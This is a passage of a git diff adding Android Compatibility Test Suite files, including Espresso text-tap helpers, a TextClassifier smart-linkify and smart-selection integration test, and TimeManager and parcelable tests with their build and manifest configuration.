+                CoordinatesProvider coordinatesProvider,
+                PrecisionDescriber precisionDescriber) {
+            mGeneralClickAction = new GeneralClickAction(tapper, coordinatesProvider,
+                    precisionDescriber);
+        }
+
+        @Override
+        public Matcher<View> getConstraints() {
+            return mGeneralClickAction.getConstraints();
+        }
+
+        @Override
+        public String getDescription() {
+            return mGeneralClickAction.getDescription();
+        }
+
+        @Override
+        public void perform(UiController uiController, View view) {
+            mGeneralClickAction.perform(uiController, view);
+        }
+    }
+
+    private static final class TextCoordinates implements CoordinatesProvider {
+
+        private final int mIndex;
+
+        public TextCoordinates(int index) {
+            mIndex = index;
+        }
+
+        @Override
+        public float[] calculateCoordinates(View view) {
+            TextView textView = (TextView) view;
+            final Layout layout = textView.getLayout();
+            final int line = layout.getLineForOffset(mIndex);
+            final int[] xy = new int[2];
+            textView.getLocationOnScreen(xy);
+            float[] coordinates = new float[]{
+                    layout.getPrimaryHorizontal(mIndex)
+                            + textView.getTotalPaddingLeft()
+                            - textView.getScrollX()
+                            + xy[0],
+                    layout.getLineTop(line) + textView.getTotalPaddingTop() - textView.getScrollY()
+                            + xy[1]};
+            Log.d(TAG, "calculateCoordinates: " + Arrays.toString(coordinates));
+            return coordinates;
+        }
+    }
+
+    private TextViewActions() {
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActivity.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActivity.java
new file mode 100644
index 0000000..f549970
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewActivity.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class TextViewActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.main);
+    }
+}
diff --git a/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
new file mode 100644
index 0000000..29e5162
--- /dev/null
+++ b/tests/tests/textclassifier/src/android/view/textclassifier/cts/TextViewIntegrationTest.java
@@ -0,0 +1,313 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.textclassifier.cts;
+
+import static android.content.pm.PackageManager.FEATURE_TOUCHSCREEN;
+import static android.provider.Settings.Global.ANIMATOR_DURATION_SCALE;
+import static android.provider.Settings.Global.TRANSITION_ANIMATION_SCALE;
+
+import static androidx.test.espresso.Espresso.onView;
+import static androidx.test.espresso.assertion.ViewAssertions.matches;
+import static androidx.test.espresso.matcher.RootMatchers.isPlatformPopup;
+import static androidx.test.espresso.matcher.ViewMatchers.hasDescendant;
+import static androidx.test.espresso.matcher.ViewMatchers.isDisplayed;
+import static androidx.test.espresso.matcher.ViewMatchers.withId;
+import static androidx.test.espresso.matcher.ViewMatchers.withTagValue;
+import static androidx.test.espresso.matcher.ViewMatchers.withText;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.hamcrest.CoreMatchers.allOf;
+import static org.hamcrest.CoreMatchers.is;
+
+import android.app.PendingIntent;
+import android.app.RemoteAction;
+import android.content.ContentResolver;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.graphics.drawable.Icon;
+import android.net.Uri;
+import android.provider.Settings;
+import android.text.Spannable;
+import android.text.SpannableString;
+import android.text.TextUtils;
+import android.text.method.LinkMovementMethod;
+import android.util.Log;
+import android.view.textclassifier.TextClassification;
+import android.view.textclassifier.TextClassifier;
+import android.view.textclassifier.TextLinks;
+import android.view.textclassifier.TextSelection;
+import android.widget.TextView;
+
+import androidx.core.os.BuildCompat;
+import androidx.test.core.app.ActivityScenario;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.espresso.ViewInteraction;
+import androidx.test.ext.junit.rules.ActivityScenarioRule;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import org.junit.AfterClass;
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.Collections;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class TextViewIntegrationTest {
+    private final static String LOG_TAG = "TextViewIntegrationTest";
+    private final static String TOOLBAR_TAG = "floating_toolbar";
+
+    private SimpleTextClassifier mSimpleTextClassifier;
+
+    @Rule
+    public ActivityScenarioRule<TextViewActivity> rule = new ActivityScenarioRule<>(
+            TextViewActivity.class);
+
+    private static float sOriginalAnimationDurationScale;
+    private static float sOriginalTransitionAnimationDurationScale;
+
+    @Before
+    public void setup() {
+        Assume.assumeTrue(
+                ApplicationProvider.getApplicationContext().getPackageManager()
+                        .hasSystemFeature(FEATURE_TOUCHSCREEN));
+        mSimpleTextClassifier = new SimpleTextClassifier();
+    }
+
+    @BeforeClass
+    public static void disableAnimation() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            ContentResolver resolver =
+                    ApplicationProvider.getApplicationContext().getContentResolver();
+            sOriginalAnimationDurationScale =
+                    Settings.Global.getFloat(resolver, ANIMATOR_DURATION_SCALE, 1f);
+            Settings.Global.putFloat(resolver, ANIMATOR_DURATION_SCALE, 0);
+
+            sOriginalTransitionAnimationDurationScale =
+                    Settings.Global.getFloat(resolver, TRANSITION_ANIMATION_SCALE, 1f);
+            Settings.Global.putFloat(resolver, TRANSITION_ANIMATION_SCALE, 0);
+        });
+    }
+
+    @AfterClass
+    public static void restoreAnimation() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            Settings.Global.putFloat(
+                    ApplicationProvider.getApplicationContext().getContentResolver(),
+                    ANIMATOR_DURATION_SCALE, sOriginalAnimationDurationScale);
+
+            Settings.Global.putFloat(
+                    ApplicationProvider.getApplicationContext().getContentResolver(),
+                    TRANSITION_ANIMATION_SCALE, sOriginalTransitionAnimationDurationScale);
+        });
+    }
+
+    @Test
+    public void smartLinkify() throws Exception {
+        ActivityScenario<TextViewActivity> scenario = rule.getScenario();
+        // Linkify the text.
+        final String TEXT = "Link: https://www.android.com";
+        AtomicInteger clickIndex = new AtomicInteger();
+        Spannable linkifiedText = createLinkifiedText(TEXT);
+        scenario.onActivity(activity -> {
+            TextView textView = activity.findViewById(R.id.textview);
+            textView.setText(linkifiedText);
+            textView.setTextClassifier(mSimpleTextClassifier);
+            textView.setMovementMethod(LinkMovementMethod.getInstance());
+            TextLinks.TextLinkSpan[] spans = linkifiedText.getSpans(0, TEXT.length(),
+                    TextLinks.TextLinkSpan.class);
+            assertThat(spans).hasLength(1);
+            TextLinks.TextLinkSpan span = spans[0];
+            clickIndex.set(
+                    (span.getTextLink().getStart() + span.getTextLink().getEnd()) / 2);
+        });
+        // To wait for the rendering of the activity to be completed, so that the upcoming click
+        // action will work.
+        Thread.sleep(2000);
+        onView(allOf(withId(R.id.textview), withText(TEXT))).check(matches(isDisplayed()));
+        // Click on the span.
+        Log.d(LOG_TAG, "clickIndex = " + clickIndex.get());
+        onView(withId(R.id.textview)).perform(TextViewActions.tapOnTextAtIndex(clickIndex.get()));
+
+        assertFloatingToolbarIsDisplayed();
+        assertFloatingToolbarContainsItem("Test");
+    }
+
+    @Test
+    public void smartSelection_suggestSelectionNotIncludeTextClassification() throws Exception {
+        Assume.assumeTrue(BuildCompat.isAtLeastS());
+        smartSelectionInternal();
+
+        assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(1);
+    }
+
+    @Test
+    public void smartSelection_suggestSelectionIncludeTextClassification() throws Exception {
+        Assume.assumeTrue(BuildCompat.isAtLeastS());
+        mSimpleTextClassifier.setIncludeTextClassification(true);
+        smartSelectionInternal();
+
+        assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(0);
+    }
+
+    @Test
+    public void smartSelection_cancelSelectionDoesNotInvokeClassifyText() throws Exception {
+        Assume.assumeTrue(BuildCompat.isAtLeastS());
+        smartSelectionInternal();
+        onView(withId(R.id.textview)).perform(TextViewActions.tapOnTextAtIndex(0));
+        Thread.sleep(1000);
+
+        assertThat(mSimpleTextClassifier.getClassifyTextInvocationCount()).isEqualTo(1);
+    }
+
+    private void smartSelectionInternal() {
+        ActivityScenario<TextViewActivity> scenario = rule.getScenario();
+        AtomicInteger clickIndex = new AtomicInteger();
+        //                   0123456789
+        final String TEXT = "Link: https://www.android.com";
+        scenario.onActivity(activity -> {
+            TextView textView = activity.findViewById(R.id.textview);
+            textView.setTextIsSelectable(true);
+            textView.setText(TEXT);
+            textView.setTextClassifier(mSimpleTextClassifier);
+            clickIndex.set(9);
+        });
+        onView(allOf(withId(R.id.textview), withText(TEXT))).check(matches(isDisplayed()));
+
+        // Long press the url to perform smart selection.
+        Log.d(LOG_TAG, "clickIndex = " + clickIndex.get());
+        onView(withId(R.id.textview)).perform(
+                TextViewActions.longTapOnTextAtIndex(clickIndex.get()));
+
+        assertFloatingToolbarIsDisplayed();
+        assertFloatingToolbarContainsItem("Test");
+    }
+
+    private Spannable createLinkifiedText(CharSequence text) {
+        TextLinks.Request request = new TextLinks.Request.Builder(text)
+                .setEntityConfig(
+                        new TextClassifier.EntityConfig.Builder()
+                                .setIncludedTypes(Collections.singleton(TextClassifier.TYPE_URL))
+                                .build())
+                .build();
+        TextLinks textLinks = mSimpleTextClassifier.generateLinks(request);
+        Spannable linkifiedText = new SpannableString(text);
+        int resultCode = textLinks.apply(
+                linkifiedText,
+                TextLinks.APPLY_STRATEGY_REPLACE,
+                /* spanFactory= */null);
+        assertThat(resultCode).isEqualTo(TextLinks.STATUS_LINKS_APPLIED);
+        return linkifiedText;
+    }
+
+    private static ViewInteraction onFloatingToolBar() {
+        return onView(withTagValue(is(TOOLBAR_TAG))).inRoot(isPlatformPopup());
+    }
+
+    private static void assertFloatingToolbarIsDisplayed() {
+        onFloatingToolBar().check(matches(isDisplayed()));
+    }
+
+    private static void assertFloatingToolbarContainsItem(String itemLabel) {
+        onFloatingToolBar().check(matches(hasDescendant(withText(itemLabel))));
+    }
+
+    /**
+     * A {@link TextClassifier} that can only annotate the android.com url. Do not reuse the same
+     * instance across tests.
+     */
+    private static class SimpleTextClassifier implements TextClassifier {
+        private static final String ANDROID_URL = "https://www.android.com";
+        private static final Icon NO_ICON = Icon.createWithData(new byte[0], 0, 0);
+        private boolean mSetIncludeTextClassification = false;
+        private int mClassifyTextInvocationCount = 0;
+
+        public void setIncludeTextClassification(boolean setIncludeTextClassification) {
+            mSetIncludeTextClassification = setIncludeTextClassification;
+        }
+
+        public int getClassifyTextInvocationCount() {
+            return mClassifyTextInvocationCount;
+        }
+
+        @Override
+        public TextSelection suggestSelection(TextSelection.Request request) {
+            int start = request.getText().toString().indexOf(ANDROID_URL);
+            if (start == -1) {
+                return new TextSelection.Builder(
+                        request.getStartIndex(), request.getEndIndex())
+                        .build();
+            }
+            TextSelection.Builder builder =
+                    new TextSelection.Builder(start, start + ANDROID_URL.length())
+                            .setEntityType(TextClassifier.TYPE_URL, 1.0f);
+            if (mSetIncludeTextClassification) {
+                builder.setTextClassification(createAndroidUrlTextClassification());
+            }
+            return builder.build();
+        }
+
+        @Override
+        public TextClassification classifyText(TextClassification.Request request) {
+            mClassifyTextInvocationCount += 1;
+            String spanText = request.getText().toString()
+                    .substring(request.getStartIndex(), request.getEndIndex());
+            if (TextUtils.equals(ANDROID_URL, spanText)) {
+                return createAndroidUrlTextClassification();
+            }
+            return new TextClassification.Builder().build();
+        }
+
+        private TextClassification createAndroidUrlTextClassification() {
+            TextClassification.Builder builder =
+                    new TextClassification.Builder().setText(ANDROID_URL);
+            builder.setEntityType(TextClassifier.TYPE_URL, 1.0f);
+
+            Intent intent = new Intent(Intent.ACTION_VIEW);
+            intent.setData(Uri.parse(ANDROID_URL));
+            PendingIntent pendingIntent = PendingIntent.getActivity(
+                    ApplicationProvider.getApplicationContext(),
+                    /* requestCode= */ 0,
+                    intent,
+                    PendingIntent.FLAG_IMMUTABLE);
+
+            RemoteAction remoteAction =
+                    new RemoteAction(NO_ICON, "Test", "content description", pendingIntent);
+            remoteAction.setShouldShowIcon(false);
+            builder.addAction(remoteAction);
+            return builder.build();
+        }
+
+        @Override
+        public TextLinks generateLinks(TextLinks.Request request) {
+            TextLinks.Builder builder = new TextLinks.Builder(request.getText().toString());
+            int index = request.getText().toString().indexOf(ANDROID_URL);
+            if (index == -1) {
+                return builder.build();
+            }
+            builder.addLink(index,
+                    index + ANDROID_URL.length(),
+                    Collections.singletonMap(TextClassifier.TYPE_URL, 1.0f));
+            return builder.build();
+        }
+    }
+}
diff --git a/tests/tests/time/Android.bp b/tests/tests/time/Android.bp
new file mode 100644
index 0000000..086f9d8
--- /dev/null
+++ b/tests/tests/time/Android.bp
@@ -0,0 +1,35 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsTimeTestCases",
+    defaults: ["cts_defaults"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctstestrunner-axt",
+    ],
+    srcs: ["src/**/*.java"],
+    sdk_version: "system_current",
+}
diff --git a/tests/tests/time/AndroidManifest.xml b/tests/tests/time/AndroidManifest.xml
new file mode 100644
index 0000000..a3bd06d
--- /dev/null
+++ b/tests/tests/time/AndroidManifest.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+      package="android.time.cts">
+
+    <!-- The permissions below would be needed if tests were not using "adopt shell permissions" to
+         obtain the necessary MANAGE_TIME_AND_ZONE_DETECTION privileged permission. -->
+    <!-- uses-permission android:name="android.permission.MANAGE_TIME_AND_ZONE_DETECTION" /-->
+    <!-- Required for LocationManager.setLocationEnabledForUser() -->
+    <!-- uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/-->
+    <eat-comment />
+
+    <application>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.time.cts"
+        android:label="CTS tests for android.time">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/time/AndroidTest.xml b/tests/tests/time/AndroidTest.xml
new file mode 100644
index 0000000..1036c1a
--- /dev/null
+++ b/tests/tests/time/AndroidTest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for Toast test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="not-shardable" value="true" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTimeTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.time.cts" />
+    </test>
+</configuration>
diff --git a/tests/tests/time/OWNERS b/tests/tests/time/OWNERS
new file mode 100644
index 0000000..a81fa72
--- /dev/null
+++ b/tests/tests/time/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 847766
+nfuller@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/tests/tests/time/src/android/app/time/cts/ExternalTimeSuggestionTest.java b/tests/tests/time/src/android/app/time/cts/ExternalTimeSuggestionTest.java
new file mode 100644
index 0000000..e7a5fcd
--- /dev/null
+++ b/tests/tests/time/src/android/app/time/cts/ExternalTimeSuggestionTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.time.cts;
+
+import static android.app.time.cts.ParcelableTestSupport.assertRoundTripParcelable;
+import static android.app.time.cts.ParcelableTestSupport.roundTripParcelable;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.app.time.ExternalTimeSuggestion;
+
+import org.junit.Test;
+
+public class ExternalTimeSuggestionTest {
+
+    private static final long ARBITRARY_REFERENCE_TIME = 1111L;
+    private static final long ARBITRARY_UTC_TIME = 2222L;
+
+    @Test
+    public void testEquals() {
+        ExternalTimeSuggestion one = new ExternalTimeSuggestion(
+                ARBITRARY_REFERENCE_TIME, ARBITRARY_UTC_TIME);
+        assertEquals(one, one);
+
+        ExternalTimeSuggestion two = new ExternalTimeSuggestion(
+                ARBITRARY_REFERENCE_TIME, ARBITRARY_UTC_TIME);
+        assertEquals(one, two);
+        assertEquals(two, one);
+
+        ExternalTimeSuggestion three = new ExternalTimeSuggestion(
+                ARBITRARY_REFERENCE_TIME + 1, ARBITRARY_UTC_TIME);
+        assertNotEquals(one, three);
+        assertNotEquals(three, one);
+
+        // DebugInfo must not be considered in equals().
+        one.addDebugInfo("Debug info 1");
+        two.addDebugInfo("Debug info 2");
+        assertEquals(one, two);
+    }
+
+    @Test
+    public void testParcelable() {
+        ExternalTimeSuggestion suggestion = new ExternalTimeSuggestion(
+                ARBITRARY_REFERENCE_TIME, ARBITRARY_UTC_TIME);
+        assertRoundTripParcelable(suggestion);
+
+        // DebugInfo should also be stored (but is not checked by equals())
+        suggestion.addDebugInfo("This is debug info");
+        ExternalTimeSuggestion rtSuggestion = roundTripParcelable(suggestion);
+        assertEquals(suggestion.getDebugInfo(), rtSuggestion.getDebugInfo());
+    }
+}
diff --git a/tests/tests/time/src/android/app/time/cts/ParcelableTestSupport.java b/tests/tests/time/src/android/app/time/cts/ParcelableTestSupport.java
new file mode 100644
index 0000000..1fa3f26
--- /dev/null
+++ b/tests/tests/time/src/android/app/time/cts/ParcelableTestSupport.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.time.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import java.lang.reflect.Field;
+
+/** Utility methods related to {@link Parcelable} objects used in several tests. */
+public final class ParcelableTestSupport {
+
+    private ParcelableTestSupport() {}
+
+    /** Returns the result of parceling and unparceling the argument. */
+    @SuppressWarnings("unchecked")
+    public static <T extends Parcelable> T roundTripParcelable(T parcelable) {
+        Parcel parcel = Parcel.obtain();
+        parcel.writeTypedObject(parcelable, 0);
+        parcel.setDataPosition(0);
+
+        Parcelable.Creator<T> creator;
+        try {
+            Field creatorField = parcelable.getClass().getField("CREATOR");
+            creator = (Parcelable.Creator<T>) creatorField.get(null);
+        } catch (NoSuchFieldException | IllegalAccessException e) {
+            throw new AssertionError(e);
+        }
+        T toReturn = parcel.readTypedObject(creator);
+        parcel.recycle();
+        return toReturn;
+    }
+
+    public static <T extends Parcelable> void assertRoundTripParcelable(T instance) {
+        assertEquals(instance, roundTripParcelable(instance));
+    }
+}
diff --git a/tests/tests/time/src/android/app/time/cts/TimeManagerTest.java b/tests/tests/time/src/android/app/time/cts/TimeManagerTest.java
new file mode 100644
index 0000000..72f74ad
--- /dev/null
+++ b/tests/tests/time/src/android/app/time/cts/TimeManagerTest.java
@@ -0,0 +1,198 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.time.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.time.Capabilities;
+import android.app.time.ExternalTimeSuggestion;
+import android.app.time.TimeManager;
+import android.app.time.TimeZoneCapabilities;
+import android.app.time.TimeZoneCapabilitiesAndConfig;
+import android.app.time.TimeZoneConfiguration;
+import android.content.Context;
+import android.location.LocationManager;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.UserHandle;
+
+import org.junit.Ignore;
+import org.junit.Rule;
+import org.junit.Test;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+
+import java.lang.reflect.Field;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.atomic.AtomicInteger;
+
+/** Tests for {@link TimeManager} and associated classes. */
+public class TimeManagerTest {
+
+    /**
+     * This rule adopts the Shell process permissions, needed because MANAGE_TIME_AND_ZONE_DETECTION
+     * is a privileged permission.
+     */
+    @Rule
+    public final AdoptShellPermissionsRule shellPermRule = new AdoptShellPermissionsRule();
+
+    /**
+     * Registers a {@link android.app.time.TimeManager.TimeZoneDetectorListener}, makes changes
+     * to the configuration and checks that the listener is called.
+     */
+    @Test
+    public void testManageConfiguration() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+        int expectedListenerTriggerCount = 0;
+        AtomicInteger listenerTriggerCount = new AtomicInteger(0);
+        TimeManager.TimeZoneDetectorListener listener = listenerTriggerCount::incrementAndGet;
+
+        TimeManager timeManager = context.getSystemService(TimeManager.class);
+        assertNotNull(timeManager);
+
+        ExecutorService executor = Executors.newSingleThreadExecutor();
+        try {
+            timeManager.addTimeZoneDetectorListener(executor, listener);
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+
+            TimeZoneCapabilitiesAndConfig capabilitiesAndConfig =
+                    timeManager.getTimeZoneCapabilitiesAndConfig();
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+
+            TimeZoneCapabilities capabilities = capabilitiesAndConfig.getCapabilities();
+            TimeZoneConfiguration originalConfig = capabilitiesAndConfig.getConfiguration();
+
+            // Toggle the auto-detection enabled if capabilities allow or try (but expect to fail)
+            // if not.
+            {
+                boolean newAutoDetectionEnabledValue = !originalConfig.isAutoDetectionEnabled();
+                TimeZoneConfiguration configUpdate = new TimeZoneConfiguration.Builder()
+                        .setAutoDetectionEnabled(newAutoDetectionEnabledValue)
+                        .build();
+                if (capabilities.getConfigureAutoDetectionEnabledCapability()
+                        >= Capabilities.CAPABILITY_NOT_APPLICABLE) {
+                    assertTrue(timeManager.updateTimeZoneConfiguration(configUpdate));
+                    expectedListenerTriggerCount++;
+                    waitForListenerCallbackCount(
+                            expectedListenerTriggerCount, listenerTriggerCount);
+
+                    // Reset the config to what it was when the test started.
+                    TimeZoneConfiguration resetConfigUpdate = new TimeZoneConfiguration.Builder()
+                            .setAutoDetectionEnabled(!newAutoDetectionEnabledValue)
+                            .build();
+                    assertTrue(timeManager.updateTimeZoneConfiguration(resetConfigUpdate));
+                    expectedListenerTriggerCount++;
+                } else {
+                    assertFalse(timeManager.updateTimeZoneConfiguration(configUpdate));
+                }
+            }
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+
+            // Toggle the geo-detection enabled if capabilities allow or try (but expect to fail)
+            // if not.
+            {
+                boolean newGeoDetectionEnabledValue = !originalConfig.isGeoDetectionEnabled();
+                TimeZoneConfiguration configUpdate = new TimeZoneConfiguration.Builder()
+                        .setGeoDetectionEnabled(newGeoDetectionEnabledValue)
+                        .build();
+                if (capabilities.getConfigureGeoDetectionEnabledCapability()
+                        >= Capabilities.CAPABILITY_NOT_APPLICABLE) {
+                    assertTrue(timeManager.updateTimeZoneConfiguration(configUpdate));
+                    expectedListenerTriggerCount++;
+                    waitForListenerCallbackCount(
+                            expectedListenerTriggerCount, listenerTriggerCount);
+
+                    // Reset the config to what it was when the test started.
+                    TimeZoneConfiguration resetConfigUpdate = new TimeZoneConfiguration.Builder()
+                            .setGeoDetectionEnabled(!newGeoDetectionEnabledValue)
+                            .build();
+                    assertTrue(timeManager.updateTimeZoneConfiguration(resetConfigUpdate));
+                    expectedListenerTriggerCount++;
+                } else {
+                    assertFalse(timeManager.updateTimeZoneConfiguration(configUpdate));
+                }
+            }
+            waitForListenerCallbackCount(expectedListenerTriggerCount, listenerTriggerCount);
+        } finally {
+            // Remove the listener. Required otherwise the fuzzy equality rules of lambdas causes
+            // problems for later tests.
+            timeManager.removeTimeZoneDetectorListener(listener);
+
+            executor.shutdown();
+        }
+    }
+
+    /**
+     * Registers a {@link android.app.time.TimeManager.TimeZoneDetectorListener}, makes changes
+     * to the "location enabled" setting and checks that the listener is called.
+     */
+    @Ignore("http://b/171953500")
+    @Test
+    public void testLocationManagerAffectsCapabilities() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getContext();
+
+        AtomicInteger listenerTriggerCount = new AtomicInteger(0);
+        TimeManager.TimeZoneDetectorListener listener = listenerTriggerCount::incrementAndGet;
+
+        TimeManager timeManager = context.getSystemService(TimeManager.class);
+        assertNotNull(timeManager);
+
+        LocationManager locationManager = context.getSystemService(LocationManager.class);
+        assertNotNull(locationManager);
+
+        ExecutorService executor = Executors.newSingleThreadExecutor();
+        try {
+            timeManager.addTimeZoneDetectorListener(executor, listener);
+            waitForListenerCallbackCount(0, listenerTriggerCount);
+
+            UserHandle userHandle = android.os.Process.myUserHandle();
+            boolean locationEnabled = locationManager.isLocationEnabledForUser(userHandle);
+
+            locationManager.setLocationEnabledForUser(!locationEnabled, userHandle);
+            waitForListenerCallbackCount(1, listenerTriggerCount);
+
+            locationManager.setLocationEnabledForUser(locationEnabled, userHandle);
+            waitForListenerCallbackCount(2, listenerTriggerCount);
+        } finally {
+            // Remove the listener. Required otherwise the fuzzy equality rules of lambdas causes
+            // problems for later tests.
+            timeManager.removeTimeZoneDetectorListener(listener);
+
+            executor.shutdown();
+        }
+    }
+
+    private static void waitForListenerCallbackCount(
+            int expectedValue, AtomicInteger actualValue) throws Exception {
+        // Busy waits up to 30 seconds for the count to reach the expected value.
+        final long busyWaitMillis = 30000;
+        long targetTimeMillis = System.currentTimeMillis() + busyWaitMillis;
+        while (expectedValue != actualValue.get()
+                && System.currentTimeMillis() < targetTimeMillis) {
+            Thread.sleep(250);
+        }
+        assertEquals(expectedValue, actualValue.get());
+    }
+}
